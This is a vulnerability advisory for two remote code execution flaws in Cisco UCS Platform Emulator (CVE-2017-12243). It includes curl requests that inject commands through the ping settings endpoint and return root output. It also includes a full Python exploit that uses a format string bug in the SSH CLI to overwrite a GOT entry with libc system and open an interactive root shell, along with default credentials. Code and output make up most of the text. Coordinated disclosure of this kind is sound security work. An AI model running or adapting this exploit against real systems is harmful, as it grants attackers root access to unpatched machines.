1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304 | ## Vulnerabilities Summary
The following advisory describes two remote code execution vulnerabilities found in Cisco UCS Platform Emulator version 3.1(2ePE1).
Cisco UCS Platform Emulator is the Cisco UCS Manager application bundled into a virtual machine (VM). The VM includes software that emulates hardware communications for the Cisco Unified Computing System (Cisco UCS) hardware that is configured and managed by Cisco UCS Manager. For example, you can use Cisco UCS Platform Emulator to create and test a supported Cisco UCS configuration, or to duplicate an existing Cisco UCS environment for troubleshooting or development purposes.
The vulnerabilities found in Cisco UCS Platform Emulator are:
Unauthenticated remote code execution
Authenticated remote code execution
## Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
## Vendor response
The vendor has released patches to address this vulnerability and issue the following CVE:
CVE-2017-12243
Vulnerabilities details
Unauthenticated remote code execution
User controlled input is not sufficiently sanitized when passed to IP/settings/ping function. An unauthenticated attacker can inject commands via PING_NUM and PING_IP_ADDR parameters. Those commands will run as root on the remote machine.
## Proof of Concept
```
curl "http://IP/settings/ping?ping_num=1&ping_ip_addr=127.0.0.1%3buname+-a%3b#"
curl -k "https://IP/settings/ping?ping_num=1&ping_ip_addr=127.0.0.1%3buname+-a%3b#"
curl "http://IP/settings/ping?ping_num=1%3bid%3b#&ping_ip_addr=127.0.0.1"
curl -k "https://IP/settings/ping?ping_num=1%3buname+-a%3b#&ping_ip_addr=127.0.0.1"
```
By sending one of the above requests the Cisco UCS will response with:
```
/sample output/
================
demo@kali:~/poc$ curl -k "http://IP/settings/ping?ping_num=1&ping_ip_addr=127.0.0.1%3buname+-a%3b#"
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.017 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.017/0.017/0.017/0.000 ms
Linux ucspe 2.6.32-431.el6.i686 #1 SMP Fri Nov 22 00:26:36 UTC 2013 i686 i686 i386 GNU/Linux
demo@kali:~/poc$ curl "http://IP/settings/ping?ping_num=1%3bid%3b#&ping_ip_addr=127.0.0.1"
uid=0(root) gid=0(root) groups=0(root)
```
Authenticated remote code execution
Cisco UCS Platform Emulator is vulnerable to format string vulnerability that leads to remote code execution.
Cisco UCS Platform Emulator runs an SSH server by default, and users who log-in via ssh runs the following command:
```
show sel %x
```
Get the following response:
```
"Error: Invalid rack server value: ...somedigits.."
```
By execute the ssh “show sel %x” command we overwriting got entry for _ZN7clidcos15CommandEmulator16cli_param_filterEPKc function from libsamvsh.so with libc system.
## Proof of Concept
In order to exploit the vulnerability, please follow the following instructions:
Install ucspe on vm (setup all 3 network cards) with the following user and password:
Default ucspe user : ucspe
Default ucspe pass : ucspe
Run the ucspe and write down the ip address of the ucspe (visible in console “Connected to IP: ….”)
In this Proof of Concept we will use IP – 192.168.1.43
Open up two terminals on some other machine (kali for example).
On the first terminal:
Create poc directory, put poc4_ucspe_3.1.2e.py in the poc directory. change current directory to poc
Create fifo1:
```
mkfifo fifo1
```
Create output directory:”
```
mkdir output
```
Run ssh with stdin redirected from fifo1 and stdout redirected to output/log file:
```
tail -f fifo1 | ssh ucspe@192.168.1.43 > output/log
# use default credentials ucspe/ucspe
```
# use default credentials ucspe/ucspe
On the second terminal (terminal2):
Change current directory to poc
Run the poc4_ucspe_3.1.2e.py
The output should be:
TERMINAL1
```
demo@kali:~/poc$ mkfifo fifo1
demo@kali:~/poc$ mkdir output
demo@kali:~/poc$ tail -f fifo1 | ssh ucspe@192.168.1.43 > output/log
Pseudo-terminal will not be allocated because stdin is not a terminal.
The authenticity of host '192.168.1.43 (192.168.1.43)' can't be established.
RSA key fingerprint is SHA256:qEdgqNFyfqA2BU1+cH9rmYrsIOiQr/NlCpgAyzrX70Y.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.43' (RSA) to the list of known hosts.
uucspe@192.168.1.43's password:
TERM environment variable not set.
```
TERMINAL2
```
demo@kali:~/poc$ python poc4_ucspe_3.1.2e.py
Going through some menus please wait a moment..
You should now see on the other terminal message simmilar to "Error: Already in local-mgmt shell.."
[.] Dumping clicli::LocalMgmtSel::show(void*, base::String const&) addres from libsamvsh.so
-> 0x6b9f64
[.] Calculating _ZN7clidcos15CommandEmulator16cli_param_filterEPKc .got.plt
-> 0x6d7a70
[.] Dumping snprintf address from libc
-> 0x7791210
[.] Calculating libc system address
-> libc base addr = 0x7746000
-> system addr = 0x7780f60
[.] Sending payload..
show sel %62c%28$nAAA
show sel %237c%28$nAA
show sel %86c%28$nAAA
show sel %229c%28$nAA
Sleep for fork adjustment..
Ok please type your commands (type exit for exit)
> id
['uid=0(root) gid=0(root) groups=0(root)']
>
```
poc4_ucspe_3.1.2e.py
```
import struct
import time
import binascii
def generate_payload(addr):
basepayload = "show sel AAAAAAAAAAAA"
aa = (addr >> 24 & 0xff)
bb = (addr >> 16 & 0xff)
cc = (addr >> 8 & 0xff)
dd = (addr >> 0 & 0xff)
if aa<34:
aa_c_payload = aa + 222
else:
aa_c_payload = aa - 34
if bb<34:
bb_c_payload = bb + 222
else:
bb_c_payload = bb - 34
if cc<34:
cc_c_payload = cc + 222
else:
cc_c_payload = cc - 34
if dd<34:
dd_c_payload = dd + 222
else:
dd_c_payload = dd - 34
aa_payload = "%" + str(aa_c_payload) + "c%28$n"
bb_payload = "%" + str(bb_c_payload) + "c%28$n"
cc_payload = "%" + str(cc_c_payload) + "c%28$n"
dd_payload = "%" + str(dd_c_payload) + "c%28$n"
aap = basepayload[:9] + aa_payload + basepayload[len(aa_payload)+9:]
bbp = basepayload[:9] + bb_payload + basepayload[len(bb_payload)+9:]
ccp = basepayload[:9] + cc_payload + basepayload[len(cc_payload)+9:]
ddp = basepayload[:9] + dd_payload + basepayload[len(dd_payload)+9:]
return [aap,bbp,ccp,ddp]
def clearlog():
fo = open("output/log","w")
fo.truncate()
fo.close()
def readlog():
logread = [line.strip('\n\0x00') for line in open('output/log')]
return logread
def sendcommand(cmd):
f=open("fifo1", "a+")
f.write(cmd+"\n")
f.close()
def dump(adr, frmt='p'):
clearlog()
leak_part = "show sel %28${}".format(frmt)
raw_addr = struct.pack("I", adr)
if "\x20" in raw_addr:
print "space!"
out = leak_part + "AAAAAAA"+raw_addr
sendcommand(out)
time.sleep(2)
e = readlog()[0]
outbin = e.split("AAAAAAA")[0].split(": ")[2]
clearlog()
return outbin+"\x00"
def starting_point():
clearlog()
out = "show sel %147$x"
sendcommand(out)
time.sleep(2)
e = readlog()[0]
outbin = e.split("AAAAAAA")[0].split(":")[2]
clearlog()
return outbin
clidcos_step = 0x1DB0C
libc_emulator_snprintf = 0x0004b210
libc_emulator_system = 0x0003af60
print "Going through some menus please wait a moment.."
sendcommand("c")
time.sleep(1)
sendcommand("show version")
time.sleep(1)
sendcommand("connect local-mgmt")
time.sleep(1)
sendcommand("connect local-mgmt")
time.sleep(1)
sendcommand("show version")
time.sleep(5)
clearlog()
print "You should now see on the other terminal message simmilar to \"Error: Already in local-mgmt shell..\" "
print "[.] Dumping clicli::LocalMgmtSel::show(void*, base::String const&) addres from libsamvsh.so"
off3 = int(starting_point(),16)
print " -> " + hex(off3)
print "[.] Calculating _ZN7clidcos15CommandEmulator16cli_param_filterEPKc .got.plt"
clidcosGOTPLT = off3+clidcos_step
print " -> " + hex(clidcosGOTPLT)
print "[.] Dumping snprintf address from libc"
libc_printf = dump(clidcosGOTPLT+8,'s')[:4]
libc_tmp1_hex = binascii.hexlify(libc_printf[::-1])
libc_snprintf_addr = int(libc_tmp1_hex, 16)
print " -> " + hex(libc_snprintf_addr)
print "[.] Calculating libc system address"
libc_base_addr = libc_snprintf_addr - libc_emulator_snprintf
print " -> libc base addr = " + hex(libc_base_addr)
libc_system_addr = libc_base_addr + libc_emulator_system
print " -> system addr = " + hex(libc_system_addr)
print "\n[.] Sending payload.."
sendcommand(generate_payload(libc_system_addr)[3] + struct.pack("I", clidcosGOTPLT))
print generate_payload(libc_system_addr)[3]
sendcommand("show version")
time.sleep(1)
sendcommand(generate_payload(libc_system_addr)[2] + struct.pack("I", clidcosGOTPLT+1))
print generate_payload(libc_system_addr)[2]
sendcommand("show version")
time.sleep(1)
sendcommand(generate_payload(libc_system_addr)[1] + struct.pack("I", clidcosGOTPLT+2))
print generate_payload(libc_system_addr)[1]
sendcommand("show version")
time.sleep(1)
sendcommand(generate_payload(libc_system_addr)[0] + struct.pack("I", clidcosGOTPLT+3))
print generate_payload(libc_system_addr)[0]
sendcommand("show version")
time.sleep(1)
print "Sleep for fork adjustment.."
time.sleep(5)
sendcommand("ssh /bin/bash")
print "Ok please type your commands (type exit for exit)"
time.sleep(2)
while True:
n = raw_input("> ")
if 'exit' in n:
break
clearlog()
sendcommand(n)
time.sleep(2)
print readlog()
```
|